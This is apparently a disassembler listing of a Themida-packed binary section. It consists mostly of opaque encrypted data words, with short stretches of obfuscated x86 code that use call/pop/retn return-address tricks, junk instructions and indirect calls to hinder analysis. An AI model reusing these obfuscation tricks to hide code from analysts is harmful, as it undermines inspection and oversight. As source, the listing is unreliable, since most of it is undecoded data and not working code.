dd 0F50F7973h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh, 9CE7A226h
dd 7D7C86DDh, 887BD349h, 1683BE71h, 3E82A977h, 9D96F220h
dd 0FD7ABC9Dh, 17FB0475h, 0FB6B82A4h, 551B25F8h, 80F1CD64h
dd 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h, 0FB6BF614h
dd 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 551B58F8h, 0C2FBF464h
dd 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h, 9C82969Eh
dd 40F7ABB6h, 0FB6B4D14h, 0FD7AF3CDh, 0FD72C075h, 5789BC75h
dd 3DF19D14h, 78F7EFFEh, 0FB6B3F1Bh, 0CA8BD08Ah, 0AF238D8Dh
dd 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 97BD34C3h, 0E29511FFh, 0FCC864Eh, 1987h
dd 14E900h, 918C0000h, 703FC36h, 0EA4658Dh, 907C7639h
dd 4A4A6CB7h, 0CE92E58h, 0E000000h, 0BCA117Ah, 0A17D0958h
dd 891F7C13h, 0B174D8Dh, 1985C706h, 0C0060B01h, 6A00005Ch
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 0E404C355h, 6F1858Bh, 11E9060Bh, 53000000h
dd 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh, 0DC6A45CEh, 100985C7h
dd 60Bh, 0BE90000h, 66000000h, 43054919h, 13955837h, 0B5FF3510h
dd 60B0105h, 16718589h, 95FF060Bh, 60B0AC5h, 0B7F0DA81h
dd 8D015DBEh, 60B0425h, 95FF006Ah, 60B32DDh, 2CEBC08Bh
dd 1C3F3210h, 674D512Ch, 8DD0E181h, 646A7D88h, 0EEFEDE02h
dd 1080D584h, 7813BD18h, 0BA6B39CDh, 210767A3h, 377C6BABh
dd 381B886Bh, 7E8h, 0FDBF7B00h, 10786099h, 8E9h, 474AC300h
dd 24867633h, 81665A46h, 817AEBDEh, 5F94C2h, 7E800h, 31610000h
dd 66A5DC94h, 199D335Eh, 5E060B21h, 17B7B8h, 92E1B900h
dd 3A8B26A0h, 0FEB70F60h
dd 38A0Fh, 0E8800000h, 0C781616Ah, 6760CA61h, 81FCC580h
dd 1E01BDC7h, 0CC03B920h, 0F7811D9Dh, 65507222h, 0E059D89h
dd 8957060Bh, 0B09959Dh, 0F028F06h, 8Dh, 4EA8300h, 0C398589h
dd 0E883060Bh, 0F850F01h, 0E9000000h, 29h, 14428D92h, 0E4ED9185h
dd 8C0FF8E9h, 6, 1998D03h, 8FE9060Bh, 5BFFFFFFh, 0B98F1C90h
dd 29682F6h, 6D482528h, 2AE9E4h, 4C70000h, 24h, 0E800h
dd 815D0000h, 11B026EDh, 24448B06h, 55858904h, 0B8060B06h
dd 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+60B4DD7h]
jmp ecx
; ---------------------------------------------------------------------------
mov eax, 6754h
lea ebx, [ebp+60B3305h]
mov eax, 1434h
mov [ebp+60B22A5h], eax
call $+5
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5A8544
; ---------------------------------------------------------------------------
dd 50Dh dup(0)
; ---------------------------------------------------------------------------
loc_5A8544: ; CODE XREF: Themida_:005A710Bj
jmp short loc_5A855C
; ---------------------------------------------------------------------------
align 4
dd 4 dup(0)
dd 1010000h
; ---------------------------------------------------------------------------
loc_5A855C: ; CODE XREF: Themida_:loc_5A8544j
add [eax+eax], al
add [ecx], dl
push es
push 0
push edx
call sub_5A856D
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A856D proc near ; CODE XREF: Themida_:005A8565p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_5A856D endp
; ---------------------------------------------------------------------------
aas
or eax, 7E0FE25Ch
fisttp word ptr [edx]
and eax, ecx
mov edx, [ebp+60B2D7Dh]
mov dx, 95D7h
nop
mov di, 0F97Fh
push eax
mov ebx, 26515C32h
nop
mov bl, 24h
push 0
push 0
push ecx
call sub_5A85AC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A85AC proc near ; CODE XREF: Themida_:005A85A4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5A85AC endp
; ---------------------------------------------------------------------------
dd 0D81A1012h, 1D041811h, 10E9E7E9h, 0EF000000h, 649CF6EBh
dd 9BE62A0Ch, 126ADB9Ch, 6A581D2Dh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 2D190201h
dd 6B94A612h, 298D8B17h, 8B060B0Dh, 0B1AAD95h, 42858D06h
dd 6A0611C6h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 63F5C353h, 4B3A79F3h, 0CDB8D251h
dd 0EE9h, 0C9A8B400h, 781F0257h, 83FDD9B9h, 0FAB40C7h
dd 689h, 0D5B52900h, 0F5060B2Eh, 8B525050h, 66310FD0h
dd 585AD18Bh, 89240489h, 0B0CD985h, 6A006A06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 9B3DC357h, 0E948318Dh, 0Fh, 18D4843Fh, 34567571h, 7B9719FCh
dd 0E811DDA2h, 7, 0F09435CEh, 5B552A15h, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 5EF713C3h, 6CD62C0Bh, 95FFD68Bh, 60B2F21h, 58E971B5h
dd 0F000006h, 0E8CBBFh, 5D000000h, 0C647ED81h, 6A0611h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0F44B9C3h, 0C88h, 68A0F00h, 29000000h, 0B2ED58Dh, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
dd 7B027D5h, 846DE890h, 9D2B8C82h, 60B2E25h, 2F39BB66h
dd 4E8h, 0FA000h, 8B566000h, 57515ECEh, 50615E5Ah, 0A6A4BB66h
dd 424448Bh, 7E9h, 886DA400h, 79D3FE5Dh, 0D38B008Bh, 4244489h
dd 8B665250h, 60310FD8h, 0DA8BD58Ah, 58585A61h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 76C35343h, 0A1144EE0h
dd 95FFF984h, 60B32DDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0FC35747h, 0C23C4143h, 8D0BEF7Bh, 11C4A2B5h
dd 0FA3EBB06h, 6C72FDAh, 6D676552h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 48C35040h, 0F0FE2825h, 66AF7E5Fh
dd 56DAEA81h, 6F0446C7h, 666C636Eh, 0C748A0BAh, 73610846h
dd 6A0073h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 0A6CB3AC3h, 7D91F5B3h, 6A178DF9h, 0A2858D00h
dd 0E80611C4h, 9, 0C409E118h, 3BFBA081h, 618D8BFEh, 5B060B23h
dd 8B525050h, 50310FD3h, 56A6BF66h, 89585A5Ah, 6A2404h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 62C4D4C3h, 0FE8BBF18h, 1F718529h, 8589060Bh, 60B1A59h
dd 0EE595FFh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 3B0DECC3h, 295148D8h, 0B33819Dh
dd 0F9B55F06h, 840FC00Bh, 4Ch, 27B59D8Bh, 0BD8B060Bh, 60B15B5h
dd 42BE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 8372A7D0h, 362662D2h, 11E9302Bh
dd 5C000000h, 0FBD09F93h, 68A0988Bh, 4ED00CCAh, 894FFB04h
dd 4E8h, 12C00h, 0DFBF5000h, 8B4B2C41h, 50042444h, 2F9FBB52h
dd 310F7225h, 517D00B9h, 8B585A50h, 892BB700h, 0BF042444h
dd 6845430Fh, 4DDB8058h, 32DD95FFh, 6A060Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 56F954C3h
dd 0B0F32C0h, 0B1AAD95h, 0A2B58D06h, 30611C4h, 0B2F5D9Dh
dd 3106C706h, 0E8363438h, 0Bh, 5CB57CB1h, 0E3E7E8CAh, 8162C3DBh
dd 61164ED2h, 46C75F54h, 342D3704h, 52006A31h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 583351DAh
dd 46C760A1h, 8, 0CE800h, 91260000h, 43457188h, 0DB188EF7h
dd 0F516AE6h, 85h, 8A5F5900h, 0F006AF4h, 688h, 6D8D0300h
dd 66060B28h, 858DF98Bh, 611C4A2h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 19C35242h, 6875CBBFh, 0AFBE4649h
dd 13E950h, 89900000h, 2ECDB777h, 5CA8F193h, 0D59E604Fh
dd 9A1DE7A2h, 50905A12h, 9E8h, 57BE3E00h, 0B9631B21h, 1DB37B62h
dd 90505959h, 11E960h, 0CD790000h, 0B0DD3B30h, 0CE8C565Dh
dd 0B868CEFFh, 8B0AAF23h, 0B20BDBDh, 95FF6106h, 60B0EE5h
dd 59BD8BF5h, 0B060B2Eh, 56840FC0h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0CAABC353h, 0E5CB4FEDh, 800884C3h, 51E9FAC9h, 6A000002h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 43B2C355h, 21409D3Ah, 31517F2Eh, 0B12BDBDh
dd 1BF6806h, 8E0F9A90h, 14h, 0E810Fh, 9E90000h, 91000000h
dd 0E386BFFEh, 20CC7768h, 6D240481h, 0FF656FFFh, 0B32DD95h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h
dd 0C3574700h, 66C6B392h, 8D65ABBAh, 11C4A2B5h, 0C7ABB606h
dd 6C694606h, 919D8965h, 0F060B29h, 586h, 7C77B900h, 46C70DDFh
dd 6E6F6D04h, 38C0F63h, 0F000000h, 46C7F9B7h, 73616C08h
dd 3D9D3373h, 0C7060B10h, 0C46h, 8D310000h, 60B162Dh, 6A006Ah
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0D8EECAC3h, 0F8319D85h, 8B66613Dh, 0A2858DD0h, 6A0611C4h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 27BCC357h, 487EBF66h, 2A118589h, 6090060Bh
dd 5061DDB0h, 0D98B6660h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 4BAFCAC3h, 0D14FD334h
dd 0FFE6C418h, 0B0EE595h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 8B60AD4Eh
dd 0E9958BD3h, 61060B23h, 840FC00Bh, 99h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 19h, 3EC35747h, 424CA399h
dd 19840F1Dh, 0E9000000h, 14h, 0CA51F3BBh, 0FC85C14Bh
dd 0F547EC78h, 7EB3A19Dh, 6F55F49Bh, 0F9BF0F60h, 0D840Fh
dd 7E80000h, 27000000h, 0F8D12F87h, 6159AE5Dh, 75E963B1h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 5DA5C350h, 624A14B9h, 14E9h, 0EA88A400h
dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 0FA00E905h
dd 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 21F7FCC3h, 8E83C3Bh, 0BA000000h, 0F31ACD6Bh
dd 0B981A906h, 243DFBCEh, 0DF8B6659h, 7305B58Dh, 0BB66060Bh
dd 0B8FCCCh, 0E9000000h, 6, 62F2F7B7h, 0E6FF3A06h, 8B84EB80h
dd 3BE9C1h, 8B600000h, 0B14F1BDh, 4EF8306h, 0C18BC933h
dd 0B88320BBh, 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h
dd 0FFFFFFF1h, 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh
dd 0E8C88BC3h, 12h, 8F1F6F26h, 0C8E72702h, 0EC866EEEh
dd 5B1ECCB5h, 8D8927CFh, 60B090Dh, 12E959h, 17240000h
dd 62828A8Fh, 0D3353776h, 0E9E589FEh, 0B0D2991Fh, 6A80C181h
dd 85890000h
dd 60B3281h, 5A2163B8h, 6C0815Eh, 89A1A5F9h, 0B07C5BDh
dd 8B31FF06h, 0B22E99Dh, 0BD8B5E06h, 60B05F5h, 9E49F681h
dd 952924AEh, 60B29B9h, 0A4D0F681h, 0BD8B5937h, 60B0241h
dd 4CE5F681h, 8E93D9Ch, 16000000h, 0DCF2103h, 8957B86Ch
dd 0DE831h, 0F0D0000h, 45FF2B53h, 111BFFC1h, 0B6683879h
dd 0E9835AA6h, 850F4804h, 18h, 0CA01F281h, 2DE91A34h, 29000000h
dd 48AEF3A2h, 0DA354CACh, 0A1583351h, 68B0Fh, 0BD8B0000h
dd 60B2885h, 0FFFF7CE9h, 0FDD15AFFh, 8008B3CBh, 3B8EB88Dh
dd 4A23A583h, 2DCACAFEh, 0A5A9A80Bh, 32118A4Fh, 0D5ABA80Bh
dd 32E975EAh, 0BB57A80Bh, 5DBA8A4Fh, 0BB0C57AEh, 33D98A4Fh
dd 0D5ABA80Bh, 33A075EAh, 0B872A80Bh, 30228A4Fh, 0B8FCA80Bh
dd 30A48A4Fh, 0D5ABA80Bh, 2F2575EAh, 3B9A43D4h, 60C00313h
dd 0A752B99Ch, 0B38AD390h, 0ECD12157h, 2F439BD8h, 3B9B18D4h
dd 68C00313h, 0A752B99Ch, 0B3958290h, 0F8D12157h, 2F439BD8h
dd 3B84F7D4h, 74C00313h, 0A752B99Ch, 0B3953E90h, 0F4D12157h
dd 2F439BD8h, 3B8450D4h, 40C00313h, 0A752B99Ch, 0B394CB90h
dd 0C0D12157h, 2F439BD8h, 3B852AD4h, 4CC00313h, 0A752B99Ch
dd 0B3944990h, 0D8D12157h, 2F439BD8h, 3B86ACD4h, 54C00313h
dd 0A752B99Ch, 0B397B790h, 0D0D12157h, 0C3439BD8h, 2A5012B8h
dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45444B0h
dd 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h, 2A54A1D5h
dd 64C6CB15h, 0D5BA4155h, 63CE75EAh, 3D893AAEh, 42848C1Eh
dd 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch, 0E3A8EDDAh
dd 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h, 0A2B9CFD2h
dd 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh, 3BFDD7DBh
dd 12947513h, 0A0D90201h, 0A454236Ah, 0A1EC79AEh, 941AE51h
dd 832B22DCh, 73BA8C04h, 2ADF1037h, 28C82173h, 2C45012Eh
dd 2BFD5BEAh, 81508C15h, 0B3A0098h, 0FBABAE40h, 89EFD2A5h
dd 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h, 4AA86CD2h
dd 0A2458AFDh, 0C0D5F251h, 0A4544570h, 0A15CDDDAh, 0E7828668h
dd 2A54A8ADh, 30BACC15h, 2C5FAAE0h, 69CE529Eh, 0B99783FCh
dd 31EFE2A5h, 0A0D9F9FAh, 0A454236Ah, 9A0D79AEh, 1A232094h
dd 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h
dd 21A90140h, 0C2345495h, 0A2458A15h, 96BE290Bh, 29439BDAh
dd 57DFA024h, 5E004D19h, 2A54A851h, 13D77553h, 0A152A353h
dd 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh, 0A454236Ah
dd 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h, 0D629215Dh
dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h
dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h, 66C6669Eh
dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h, 22B769C2h
dd 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h, 0A2459391h
dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h, 0A24D48DCh
dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h
dd 229D00B9h, 0E1D4A7B2h, 8860085h, 832B22DCh, 73BA8C04h
dd 0A7FEF8E1h, 0B3ECF59Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h, 0DFCE8260h
dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 7FD77515h, 2652A346h
dd 28C82045h, 2C45012Eh, 2BF55BEAh, 86949BFBh, 622E8531h
dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
dd 0D5FE0451h, 0A9473B87h, 868C2357h, 2FEF4917h, 3BFDD7DBh
dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah, 29247668h
dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
dd 0A2457650h, 80F8A851h, 0A0F418EAh, 0E2DFAE5Ah, 88558B9h
dd 832B32DCh, 71BA8C04h, 0E3941037h, 63CF2173h, 262983FBh
dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
dd 26292359h, 0A2B9CFD2h, 8654A851h, 13D775BFh, 0A152A353h
dd 637726DDh, 55CE25FBh, 5D439BBCh, 0AAECCE82h, 28EEECE4h
dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
dd 0B0D90337h, 0A454236Ah, 92327BAEh, 9234B95h, 1FE04FDh
dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
dd 0B3ECF58Fh, 9A875757h, 0E0320A0h, 55CE25FBh, 5D439BBCh
dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A4545898h
dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh, 13798A15h
dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0E8CE2559h, 0F1439BD8h
dd 0E4CD32DCh, 71BA8C04h, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
dd 38C88260h, 2C456583h, 3BDF0746h, 0D552B99Fh, 5E0003C6h
dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B388548Fh, 0B0D9FB57h
dd 0A454448Ch, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
dd 0E7BE32DCh, 2F168C04h, 3B9A31CBh, 2B967513h, 2ABD5414h
dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 0D43F8D8Dh
dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 3D4B26C3h, 99858942h, 66060B2Ah, 8969C7BAh
dd 0B174D8Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1804h, 0C3514100h, 8AC176F4h, 29858B24h, 0C7060B03h
dd 0B011985h, 5BBC06h, 0C0BE6600h, 985C737h, 60B10h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 606CC356h, 0DF9958Bh, 0AE9060Bh, 0DE000000h
dd 0A4FE74EFh, 0C3B2F629h, 0BD31616Bh, 60B2E71h, 1A31B5FFh
dd 850F060Bh, 0
; ---------------------------------------------------------------------------
call dword ptr [ebp+60B0AC5h]
push 0
push ebp
call sub_5A94C5
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A94C5 proc near ; CODE XREF: Themida_:005A94BDp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5A94C5 endp
; ---------------------------------------------------------------------------
mov dword ptr [ebx-11h], 0BEBD45F3h
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_5A9545
; ---------------------------------------------------------------------------
dd 8C63404Fh, 79F76425h, 8E91436h, 512E1B66h, 3935253Fh
dd 10F4B8C3h, 75F39FECh, 4038A100h, 0A24645F2h, 645E263Ah
dd 0B2E598B6h, 8551B4D0h, 0CC484ECCh, 4C5AD703h, 5C60DDEBh
dd 5F134A87h, 0C3AAAA7Bh, 0F3133EA3h, 0BD643B29h, 72737C47h
dd 0B0A35D17h, 172772E3h, 0BE1FD8B8h
; ---------------------------------------------------------------------------
inc esi
loc_5A9545: ; CODE XREF: Themida_:005A94E6j
jmp loc_5A95FB
; ---------------------------------------------------------------------------
dw 2E78h
dd 0D423CC17h, 82917EE5h, 237B944Fh, 0D226C71Ch, 9AC170E3h
dd 0DD063943h, 0DD6EB30h, 0BAB994E0h, 0D60D384Dh, 0DBAFC725h
dd 0ACC585C9h, 0D8DE67DDh, 32DB15F9h, 0EC3740ECh, 941D0C78h
dd 5BBF83C3h, 256AFC67h, 0E1C56B4Fh, 0C3D5C881h, 0F87ABC23h
dd 82676B2Ah, 0AA089064h, 72503C6Bh, 0E53CAE1Bh, 10h, 4450BD0Fh
dd 1D1377FFh, 0AE94C394h, 0DEB9C4Ah, 9FDD4DEh, 967A57A0h
dd 12E6D127h, 9B6F52ABh, 63D7EE32h, 0EB5F66BAh, 71C5FC02h
dd 0FC407988h, 7BCFFA0Dh, 0D4A668CFh, 0ECE90611h, 87FFF9A9h
dd 10CB5C84h, 45245BBDh
db 98h, 0Ah, 96h
; ---------------------------------------------------------------------------
loc_5A95FB: ; CODE XREF: Themida_:loc_5A9545j
mov eax, 611D541h
add eax, ebp
jmp short loc_5A9608
; ---------------------------------------------------------------------------
dd 5B27E563h
; ---------------------------------------------------------------------------
loc_5A9608: ; CODE XREF: Themida_:005A9602j
jmp loc_5AA484
; ---------------------------------------------------------------------------
push 611D7F1h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 611D906h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 611D9FDh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 611DAADh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 611DDFBh
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 611E151h
jmp loc_543FDB
; ---------------------------------------------------------------------------
push 611E261h
jmp loc_543FDB
; ---------------------------------------------------------------------------
db 71h
dd 0D8352E25h, 8667FCCDh, 709D467Bh, 0DFC82B2Ah, 0DA79FAC5h
dd 1D207893h, 0EDD029C6h, 0B08F9976h, 43142A3h, 0B63E32DFh
dd 0C585C8D2h, 9B0AE655h, 0AE94B28Dh, 17FBDADEh, 0FC675EA6h
dd 9B41DAA2h, 5B2F166Ah, 9527C967h, 60B71F68h, 0B5A9ED51h
dd 246ACB9Bh, 0FFC3BD9Fh, 0CCD4C10Bh, 0FF8F57F1h, 2A3A60E5h
dd 46F57F8Eh, 0FE7EBC56h, 0C8E0D6D4h, 0C178BAC4h, 93F77FEDh
dd 143A60E4h, 0EF1E002Eh, 0DA2C3505h, 47h, 760D6F22h, 0F81540E4h
dd 0A09ABD9Eh, 11FC0EDCh, 44C807h, 60C484C0h, 19370B3Ah
dd 60C43D4Dh, 5869BC3Ah, 0C4F305F4h, 8B1A1070h, 518E52F7h
dd 9B532159h, 2E7BC2B2h, 32B3F513h, 354F2FDEh, 151A2Ch
dd 0C8E20000h, 99Bh, 4C86B724h, 5A3B2B2Eh, 25A9A0F3h, 0DED147E1h
dd 2C1B6DD5h, 0DAB8BF58h, 8FDE60ECh, 1AC3B7ABh, 0A5273C09h
dd 96F7931Bh, 278C394h, 963054D8h, 43B7C394h, 0F88319A5h
dd 9277FA72h, 0F2C8BD9Fh, 3256DE68h, 0BB3A619Bh, 96EA5E61h
dd 0AC26D129h, 0AC9210E3h, 69F357F1h, 983357DFh, 4EB43A61h
dd 98B4D4A0h, 33613A61h, 0A9FF2EB2h, 4D62A9Eh, 6198E4E0h
dd 0F9176B3Ah, 3591E607h, 32C32Ch, 6F2D0000h, 40E4760Dh
dd 0BD9F05D1h, 4A90645Eh, 90E84C5Bh, 81E5D9ADh, 0CBB7D35Bh
dd 0C2383A60h, 0CB305024h, 0BFE53A60h, 0C733DA2Eh, 121E2C35h
dd 0E6000001h, 0CFBB33BDh, 40C3941Dh, 3441CC7Ah, 0BCC4B519h
dd 1D8BFF77h, 261CC394h, 7A8F7EC2h, 9344CB9h, 0C5814185h
dd 4AC3941Dh, 0A2A81C70h, 2213723Dh, 51FFC968h, 0F368ABFCh
dd 0A84FA28h, 0F591512Fh, 7AC39406h, 0AF372C00h, 0C39403FFh
dd 46EE357Eh, 0C3940B02h, 9359BD85h, 0B18C9401h, 0D7989CDh
dd 0EFC3940Bh, 940B0347h, 0C1BE84C3h, 18944FF9h, 0DFA39EEDh
dd 0A529286Eh, 57DF0D61h, 0C3940B33h, 0ADA04EB4h, 0EFF6D58h
dd 77BCF06h, 730961E9h, 0EFEA02E8h, 40BD9F15h, 0DFBDF97Ah
dd 741E9644h, 0C7446D60h, 64BC69F3h, 176D9A59h, 34EEDF28h
dd 351D8C6Ch, 0B2952h, 0ECDB2F00h, 0B28F9677h, 43544A1h
dd 0E9E82EDFh, 0B8879D0Ah, 36D51CBBh, 0E700D3E2h, 57B0A39Eh
dd 0ED7641h, 0F019DAF7h, 0CA90F478h, 0A817C585h, 0FBDADE30h
dd 3B4FE771h, 8CC3941Dh, 1D582C40h, 0EB2FC394h, 719E59F7h
dd 3357DF24h, 0B43C6BE2h, 7F896A4Eh, 9F49888Eh, 760D6FB9h
dd 5D140E4h, 0C233BD9Fh, 0DE3286B3h, 1BEFD330h, 60CBBBCBh
dd 0BB4A6E3Ah, 35C6A841h, 0DB812Ch, 0DE6F0000h, 0E2E60ED5h
dd 65C3941Dh, 0E455391Dh, 4BBA19Ch, 0D6258E67h, 0F032D1Dh
dd 4F3BB33Dh, 0C0C39452h, 0E8B84CFAh, 69C39457h, 0CA3B211Ch
dd 81628CB9h, 0FBFD1364h, 2169D154h, 0D5C9F40Dh, 55D96BF1h
dd 0C3941231h, 0E25D60B8h, 829A6E98h, 69FB61FAh, 59CD5BF2h
dd 0C3032A0Ch, 0C3943E87h, 5A143208h, 9F20C7D2h, 0C11268BDh
dd 704D5647h, 0ADB6C6D6h, 745E37BFh, 7E2F446Dh, 6BE11E33h
dd 1EF29A3h, 0CD382206h, 0BA6B88B7h, 1F905F66h, 568C6C6Bh
dd 0A141BFCh, 0CED80000h, 74836CF7h, 22719E45h, 0C3DB342Fh
dd 728667FCh, 3A219043h, 7DE6D923h, 0ADB68B90h, 0DA193440h
dd 76EDD82Dh, 0BBCF6785h, 0CC585C4h, 50BDC7BDh, 0A69BE048h
dd 6C9AFED2h, 0BFA49BE1h, 0EB08454Eh, 0F8D5DE2Dh, 63B3CD72h
dd 0E0F99109h, 483C0319h, 0E476DA74h, 35D3EE39h, 61F2CFD8h
dd 3448941Ch, 9E3D2Fh, 0BAEED486h, 9036EA15h, 58044186h
dd 9DA83CAEh, 0FFBD9F0Fh, 0F2C7DA40h, 0C4D7191Bh, 0E9CD01F5h
dd 85FAC03Fh, 625FAA5Bh, 0F88CBA9Eh, 0E2A53457h, 0EC7E0597h
dd 285CD062h, 0B193BB1Ah, 95ED6A69h, 48E6D324h, 0B02B99BCh
dd 2094EEEDh, 0BDAFB4C8h, 0BA264129h, 0ADC153F7h, 87816BD9h
dd 5DBA54AEh, 0B865F765h, 0A8EC5069h, 816B2C58h, 0B15FA387h
dd 88C5CE3Fh, 274FD96Bh, 87816BA3h, 6FE8D52Ah, 710FD2Bh
dd 0F8BC3DCAh, 13F73C3Dh, 91DBCh, 0F8D72300h, 4E7B8A7Bh
dd 10297895h, 0E5DC22C3h, 0B48B917Eh, 2AC128AFh, 9B74EFD6h
dd 4BA4BF82h, 34D1023Dh, 0FC0DD6E3h, 0C48CF86Ch, 0B403C585h
dd 0F8D5DECCh, 0F3881414h, 1AC0C569h, 8B45BD9Fh, 60E66763h
